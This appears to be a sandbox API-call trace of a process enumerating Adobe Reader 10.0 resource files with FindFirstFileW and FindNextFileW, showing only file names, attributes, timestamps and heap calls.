[0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e082ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rum124.lex", cAlternateFileName="")) returned 1 [0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e082ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7, dwReserved0=0x0, dwReserved1=0x0, cFileName="rum32.clx", cAlternateFileName="")) returned 1 [0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2478, dwReserved0=0x0, dwReserved1=0x0, cFileName="rumphon.env", cAlternateFileName="")) returned 1 [0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rus.fca", cAlternateFileName="")) returned 1 [0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="rus.hyp", cAlternateFileName="")) returned 1 [0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x70ad2, dwReserved0=0x0, dwReserved1=0x0, cFileName="rus101.hsp", cAlternateFileName="")) returned 1 [0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8025, dwReserved0=0x0, dwReserved1=0x0, cFileName="rus32.clx", cAlternateFileName="")) returned 1 [0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7deb9a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sgr.fca", cAlternateFileName="")) returned 1 [0240.477] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="sgr.hyp", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7deb9a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9e2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sgr105.hsp", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="sgr32.clx", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7deb9a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sgr96.ths", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="slo.fca", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="slo.hyp", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="slo113.hsp", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="slo32.clx", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="slv.hyp", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x51800, dwReserved0=0x0, dwReserved1=0x0, cFileName="slv137.lex", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fff, dwReserved0=0x0, dwReserved1=0x0, cFileName="slv32.clx", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e036800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x109f, dwReserved0=0x0, dwReserved1=0x0, cFileName="slvphon.env", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="spn.fca", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="spn.hyp", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcca860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x33c91, dwReserved0=0x0, dwReserved1=0x0, cFileName="spn24.hsp", cAlternateFileName="")) returned 1 [0240.478] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="spn32.clx", cAlternateFileName="")) returned 1 [0240.479] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcca860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x84800, dwReserved0=0x0, dwReserved1=0x0, cFileName="spn62.ths", cAlternateFileName="")) returned 1 [0240.479] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dca4700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd.fca", cAlternateFileName="")) returned 1 [0240.479] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dca4700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd.hyp", cAlternateFileName="")) returned 1 [0240.479] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dca4700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd32.clx", cAlternateFileName="")) returned 1 [0240.479] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dca4700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x821bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd43.hsp", cAlternateFileName="")) returned 1 [0240.479] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcca860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="swd58.ths", cAlternateFileName="")) returned 1 [0240.479] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="tur.fca", cAlternateFileName="")) returned 1 [0240.479] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tur.hyp", cAlternateFileName="")) returned 1 [0240.479] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x72b36, dwReserved0=0x0, dwReserved1=0x0, cFileName="tur111.hsp", cAlternateFileName="")) returned 1 [0240.479] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffc, dwReserved0=0x0, dwReserved1=0x0, cFileName="tur32.clx", cAlternateFileName="")) returned 1 [0240.479] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x123c, dwReserved0=0x0, dwReserved1=0x0, cFileName="usa.fca", cAlternateFileName="")) returned 1 [0240.480] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a6da, dwReserved0=0x0, dwReserved1=0x0, cFileName="usa03.hsp", cAlternateFileName="")) returned 1 [0240.480] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="usa03.ths", cAlternateFileName="")) returned 1 [0240.480] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15800, dwReserved0=0x0, dwReserved1=0x0, cFileName="usa37.hyp", cAlternateFileName="")) returned 1 [0240.480] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df78120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15800, dwReserved0=0x0, dwReserved1=0x0, cFileName="usa37.hyp", cAlternateFileName="")) returned 0 [0240.480] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0240.481] GetProcessHeap () returned 0x550000 [0240.481] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0240.481] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.00", cAlternateFileName="")) returned 0 [0240.481] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0240.481] GetProcessHeap () returned 0x550000 [0240.481] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0240.481] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proximity", cAlternateFileName="PROXIM~1")) returned 0 [0240.481] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0240.482] GetProcessHeap () returned 0x550000 [0240.482] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0240.482] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 0 [0240.482] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0240.482] GetProcessHeap () returned 0x550000 [0240.482] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0240.483] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1 [0240.483] GetProcessHeap () returned 0x550000 [0240.483] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0240.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0240.485] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.485] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, 